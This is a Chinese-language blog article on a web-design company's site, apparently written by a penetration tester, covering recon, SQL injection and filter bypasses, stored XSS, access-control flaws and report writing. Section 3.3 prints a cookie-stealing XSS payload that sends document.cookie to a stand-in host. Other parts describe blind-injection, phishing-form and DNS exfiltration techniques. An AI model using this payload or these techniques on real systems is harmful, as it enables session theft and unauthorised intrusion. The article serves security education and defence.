资讯动态

Web安全测试实战:SQL注入、存储型XSS与越权漏洞挖掘指南

发布时间:2026/10/17 8:08:24 来源:尧图企业网站定制
搞web安全测试这些年手里过的站点少说也有几百个了。从早期纯粹手工一个个参数去试到后来工具链用得越来越熟中间踩过的坑、半夜爬起来验证盲注的日子着实不少。这篇聊聊我实际测试中反复用到的一些思路重点放在四个方向整体测试思路的梳理、SQL注入的进阶利用、存储型XSS的实战绕过、以及越权与逻辑漏洞的挖掘。如果你刚进这个行业或者在做安全防护想了解攻击者常规手法这几点应该都能给你一些启发。文中所有目标都是授权范围内的测试环境或模拟站点具体细节全部脱敏处理放心阅读。1. 动手之前先把测试思路理清楚1.1 拿到目标之后第一件事不是跑扫描器很多新手拿到一个授权目标第一反应就是扔一个扫描器上去等报告出来了再挨个验证。这么干不是不行但效率低且漏报率高。我自己的习惯是先花至少半个小时手工过一遍目标。打开主站把登录、注册、搜索、上传这几个功能点都点一遍看看哪些地方有输入参数哪些请求带着id这类标识哪些交互会有数据包产生。这一步看似简单却能在你脑海里快速建立起对目标的全局认知后面所有测试方向都从这里发散出去。完成这一步之后再开始信息收集。常规手段无非子域名枚举、目录爆破、公开敏感文件的搜索。其中子域名这个点尤其值得重视——很多公司主站防护得跟铁桶一样但测试环境、旧版后台往往挂在子域上防护水平差一大截。我印象很深的一次授权测试主站折腾半天没有突破口结果从一个不起眼的子域找到一个旧版后台弱口令进去不到二十分钟就拿下了目标。所以信息收集阶段别嫌麻烦越是看起来不起眼的资产越有可能是防守薄弱的突破口。提示信息收集阶段不要急着上重工具先看看robots.txt、sitemap.xml这些明面上的文件经常能直接发现后台入口和测试路径。1.2 测试范围的确认是可以谈出来的还有一个容易被忽略的环节就是测试范围本身。甲方给了你一个资产范围绝不代表你只能测这一片。如果你在子域名枚举中发现了一个不在授权清单里的资产完全可以发邮件确认一下能否纳入测试范围。多数情况下对方会同意因为真实攻击者不会按你画的范围来。但注意一旦对方明确回复不在授权范围就不要再碰了这是行业底线。吃这碗饭红线意识必须刻在骨子里。另外测试账号的权限级别会直接影响到漏洞危害评估。很多漏洞需要登录后才能触发渗透测试通常会给普通用户权限那你就用这个权限去测能不能越权到管理员能不能查看其他用户数据。如果连普通用户权限都没给测试深度注定受限这类情况要在报告里如实说明不要为了凑交付物硬编内容那样只会砸了自己的口碑。1.3 漏洞筛选的优先级排序具体施测时我习惯按这套顺序来先看未授权访问再看水平越权和垂直越权然后过一遍注入类漏洞最后才轮到XSS和逻辑问题。为什么未授权访问放第一位因为一旦存在往往直接就是高危起步而且验证非常快一个请求就能确认。越权类和注入类影响面大但需要构造请求、分析响应耗时相对长。XSS数量上常常很多但在很多实际场景里危害被高估了测试时间有限时我应该优先保证更“硬”的漏洞覆盖到位。当然这个顺序不是死的。如果你拿到的是一个纯展示型站点没什么登录逻辑那XSS和注入就是绝对主力。能不能灵活切换取决于前面信息收集阶段你对目标功能点有没有做到心里有数。2. SQL注入从报错到盲注的进阶之路SQL注入到今天依然高居漏洞榜前列原因很直白——存量代码里依然大量存在字符串拼接SQL的行为。一段SQL注入的利用往往就是攻破目标的第一个缺口所以不管工具多智能手工判断注入点的能力都得扎实。2.1 判断一个参数是否存在注入判断参数是否存在注入我常用的方式是往参数位置塞一些特殊字符比如单引号、双引号、反斜杠观察页面返回是否异常。这里有一个小技巧不要只盯着页面有没有报错更要关注响应时间和页面内容的微小变化。某些配置下单引号会直接中断SQL语句如果开发没有做全局异常处理页面会直接500但是在更多的情况下错误被吞掉了你需要对比“原始请求”和“加了特殊字符后的请求”看页面内容有没有差异。还有一种常见情况是数字型注入参数不带引号直接形如id88。这种其实最简单你甚至不需要引号在数字后面拼上算术表达式比如id88-1看页面返回的内容是不是id87对应的数据。只要有差异注入点基本就坐实了。这类问题多数是开发图省事数字参数没有加类型转换也没用参数化查询于是整个接口就成了活靶子。2.2 联合查询和报错注入的实操要点确认注入点后下一步是确定字段数。order by是干这个用的从order by 1开始逐步往上加加到某个数字时页面异常那字段数就是该数字减一。这一步别偷懒用大批量脚本手动逐个试也不慢因为绝大多数站点字段数都在10个以内。字段数确定后用union select 1,2,3找出显示位。这里我建议先试union all而不是union原因在于union会做结果集去重一旦原始查询返回了数据且与你构造的数据类型不一致容易出现异常union all不去重行为更可预测对测试来说更友好。显示位找到后把数字替换成database()、user()、version()这类函数就能快速拿到数据库基本信息。报错注入是另一条常用路线核心原理是利用数据库函数制造错误并让错误信息回显到页面上。比如MySQL高版本里常见的extractvalue和updatexml利用XPATH语法错误把数据带出来。构造请求时注意函数的参数类型要匹配如果写错了类型数据库会直接抛普通语法错误而不是我们想要的XPATH错误数据就带不出来了。这些细节往往被教程一句带过但实际测试时非常影响效率。2.3 纯盲注场景下的时间推断法最让人头疼的情况是页面完全无回显不管条件真假展现出来的内容完全一模一样。这时候只能上布尔盲注或者时间盲注。布尔盲注靠页面内容差异来判断条件真伪慢但有效时间盲注则是用sleep类函数人为制造响应时间差以此推断条件真假。之前测一个内部系统时参数做了全局编码单引号和空格全被过滤掉但系统存在时间盲注。我写了一个简单的二分法脚本逐位解出数据库名和一张关键表的数据。那次最有价值的经验是盲注脚本必须充分考虑网络抖动带来的误判——建议sleep设为5秒判断阈值设为4秒只有当响应时间明显大于5秒时才判定为真条件能过滤掉不少噪声数据。2.4 绕过滤机制与编码技巧既然能做安全测试就必然会遇到过滤。常见的过滤方式有黑名单字符过滤和正则拦截比如过滤掉空格、单引号、union、select这些关键字。绕过的思路总结起来无非几种双写关键字、大小写混合、内联注释、百分号编码、十六进制编码。其中MySQL下的内联注释非常好使但要注意数据库版本差异某些版本里注释内容不执行。空格被过滤的情况更常见可以用注释符/**/来替代空格。另外一个值得关注的点是很多人只测GET和POST参数却忽略了Headers和Cookie同样可能存在注入点。有一些开发会认为Cookie里的值是可信的结果在签名校验、会话跟踪这些环节里埋了雷。3. XSS存储型漏洞的实战利用XSS在漏洞库里属于数量大、单个看起来危害有限的类型但存储型XSS一旦打中核心位置影响半径相当可怕。3.1 存储型XSS的高危属性反射型XSS需要诱导用户点击攻击者构造好的链接可利用场景相对受限。但存储型XSS的攻击链要长得多——攻击者把脚本注入到评论区、用户名、留言板等持久化位置只要有人浏览到对应页面脚本就会自动执行。尤其是当目标是一个后台管理系统时存储型XSS可以直接把管理员拉下水。实际利用场景往往非常朴素某系统的个人资料页支持自定义昵称而且后端没有过滤HTML标签。攻击者把构造好的Payload提交到昵称字段管理员在后台查看用户列表时浏览器解析了这段脚本并向攻击者控制的地址发起请求。如果会话Cookie没有HttpOnly属性攻击者拿到Cookie后替换浏览器会话管理员身份就彻底归他了。注意永远不要低估存储型XSS的危害。哪怕只是一个看起来无害的昵称字段只要后端缺少输出编码前端没设CSP它就有可能成为攻陷后台的跳板。3.2 绕过HttpOnly属性的组合思路HttpOnly属性可以阻止JavaScript读取Cookie但绕过手段并非没有。第一种思路是寻找框架自带的调试功能页面有些框架会把完整请求头或会话信息输出到页面源码中这等于把Cookie直接暴露给前端。第二种思路是把存储型XSS与CSRF结合起来用——虽然读不到Cookie但可以让受害者在浏览器中执行任意状态变更操作比如修改密码、添加管理员。第三种思路是寻找JSONP接口或CORS配置错误的目标本质上是跨域策略配置不当导致的会话信息泄露。我在测试中很喜欢用的一种方式是在存储点上构造钓鱼页面。比如把一段伪造登录框的代码注入评论区让它的样式跟后台登录页完全一致诱骗管理员输入账号密码。这种方式在纯自动化工具里很难被验证因为需要真实用户操作但在授权测试中结合场景演练效果往往出人意料。3.3 一次从留言板到后台的完整测试演示分享一次实际测试过程某内部系统的留言板功能存在存储型XSS。注意到留言内容会原样渲染在管理员的审核页面后我构造了这个Payloadimg srcx onerrorfetch(http://example-log.test/log?document.cookie)提交后不到十分钟接收器就收到了一条包含后台路径和会话信息的请求。这次能成功的前提有两个一是后端确实没有做任何输出编码二是管理员在审核页面时浏览器能够正常执行该脚本。如果中间有一道WAF拦住了img标签的onerror事件换成svg、body、iframe等标签再试就好。这类案例最核心的教训是XSS绝不只是前端问题它是整个系统的信任边界问题输出编码和CSP策略必须同时到位。4. 越权与逻辑漏洞最容易被忽视的高危项如果说注入类漏洞是“硬伤”那越权和逻辑漏洞更像“软刀”——它们常见、容易被忽视而且影响范围往往大得惊人。4.1 水平越权与垂直越权的测试思路越权漏洞的核心思想很简单同一个接口传入不同参数能不能访问或操作不属于当前用户的数据。水平越权最常见的场景是一个用户查看自己的订单接口形如/order?id10001把id改成另一个订单号就能看到别人的订单。根因就一个——后端只校验了登录状态没有校验资源归属关系。垂直越权则是低权限用户访问高权限接口比如普通用户直接请求管理员的删除接口。这在一个设计完善的后端权限体系里应该不太常见但在我实际测过的目标里至少三分之一的系统存在某种形式的越权问题。越权漏洞的可怕之处在于它不需要精巧的Payload只是改一个数字的事。4.2 一次典型越权漏洞的完整挖掘过程有一次拿到一个普通账号功能点只有一个订单查询。分析请求时我注意到一个叫uid的参数值和当前登录用户ID一致。试着把uid替换成另一个数字返回结果直接是另一个人的姓名和订单数据整个过程后台没有做任何身份归属校验。更严重的是这个接口还支持POST方式去修改订单状态换句话说任意登录用户可以修改任意订单的状态。这次测试从开始到确认漏洞不到十分钟危害评级直接是严重级别。这个问题如此普遍本质原因是很多开发默认前端会“老老实实”传递当前登录用户的身份。正确的做法是后端必须从服务端Session或Token中解析用户唯一标识而不是信任前端传来的任何参数。这也提醒了各位做接口开发的同行凡涉及用户数据的地方权限校验是底线。4.3 支付与状态逻辑的经典错误越权之外支付与业务逻辑漏洞也特别有意思。比较经典的场景是支付流程里金额参数由前端提交攻击者把金额改成一分钱提交后端竟然不校验真实订单金额直接按前端提交的数额生成支付单。这类问题在模拟环境里很容易验证一旦成立危害直接拉满。状态逻辑漏洞则集中在流程设计上比如找回密码的验证码验证通过之后不销毁攻击者就可以反复提交尝试再比如订单状态从待支付到已支付如果没有严格的状态机流转校验攻击者可以绕过支付步骤直接更新状态。这些业务逻辑漏洞很难被扫描器发现读代码和手工测试才是主要手段。5. 常见问题排查与工具实战测试做得多了总会遇到各种奇奇怪怪的情况。这里挑几个高频问题聊聊我的处理思路。5.1 误报与漏报的排查思路扫描器报了漏洞先别急着写进报告。我见过太多人把扫描器的误报当真实漏洞提交最后被甲方一顿追问信誉直接受损。排查误报的方法只有一条人工复现并且必须留完整的请求包和响应包。SQL注入类的就手动跑一遍联合查询看返回数据是不是真在页面上体现了XSS类的把Payload打到自己的接收器上确认触发请求确实到达。只有当手动复现成功这个漏洞才算成立。漏报的排查要难一些因为扫描器没报不等于漏洞不存在。我自己的习惯是每测完一个功能点从三个角度追问一遍如果我是开发者会在哪些地方漏掉合法性检查如果我是攻击者会优先利用哪一个入口如果我是管理员系统里哪个模块最可能成为突破口。这种思维训练做多了漏洞敏感度会明显提升。5.2 工具失效时的备选方案工具失效的原因很多最常见是目标站点启用了较强的WAF或者接口做了签名校验。sqlmap遇到强WAF时经常会卡住这时候我一般退回手工测试用抓包工具的重发器直接构造请求配合宏功能把签名字段和Token自动带上很多时候能绕过检测。时间盲注脚本因网络超时导致结果混乱时有两个改进方向一是把sleep时间调大减少请求总体次数二是改用DNSLog这类外带数据方案让查询结果通过一次DNS请求回传从时间判断变成到达判断识别准确率大幅提升。提示工具永远只是辅助手工构造请求才是核心基本功。工具失灵的时候恰恰是检验你手工功力的时候。5.3 报告撰写时容易踩的坑报告是测试工作的最终交付物写得好能体现专业度写乱了会给甲方留下很不专业的印象。常见的坑有三个漏洞等级评定拍脑袋不看危害链路复现步骤写得像天书修复建议写得像套话。我的习惯是每个漏洞描述至少包含四个要素漏洞位置URL和请求方法、触发条件需要什么权限、影响范围哪些数据受影响、复现步骤精确到每个请求参数。修复建议要尽量具体不能只写“加强输入校验”要讲清楚是在哪一层做校验、用什么方式做校验。另外报告中必须标注测试时间和测试账号方便后续复核归档。整个报告的语言要客观中肯是严重就写严重是低危就写低危不要夸大也不要刻意压低。干的年头越多越明白信任这个东西建立起来很慢砸掉只需要一次水分报告。最后分享一点我个人的体会这个行业变化太快今天好使的绕过手法明天可能一个补丁就失效了。与其囤积一堆工具不如保持对新漏洞的敏感度多拆解真实案例多写测试笔记把思路沉淀下来。这一篇先聊到这儿后面有机会再接着写一些偏门但实用的测试技巧。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑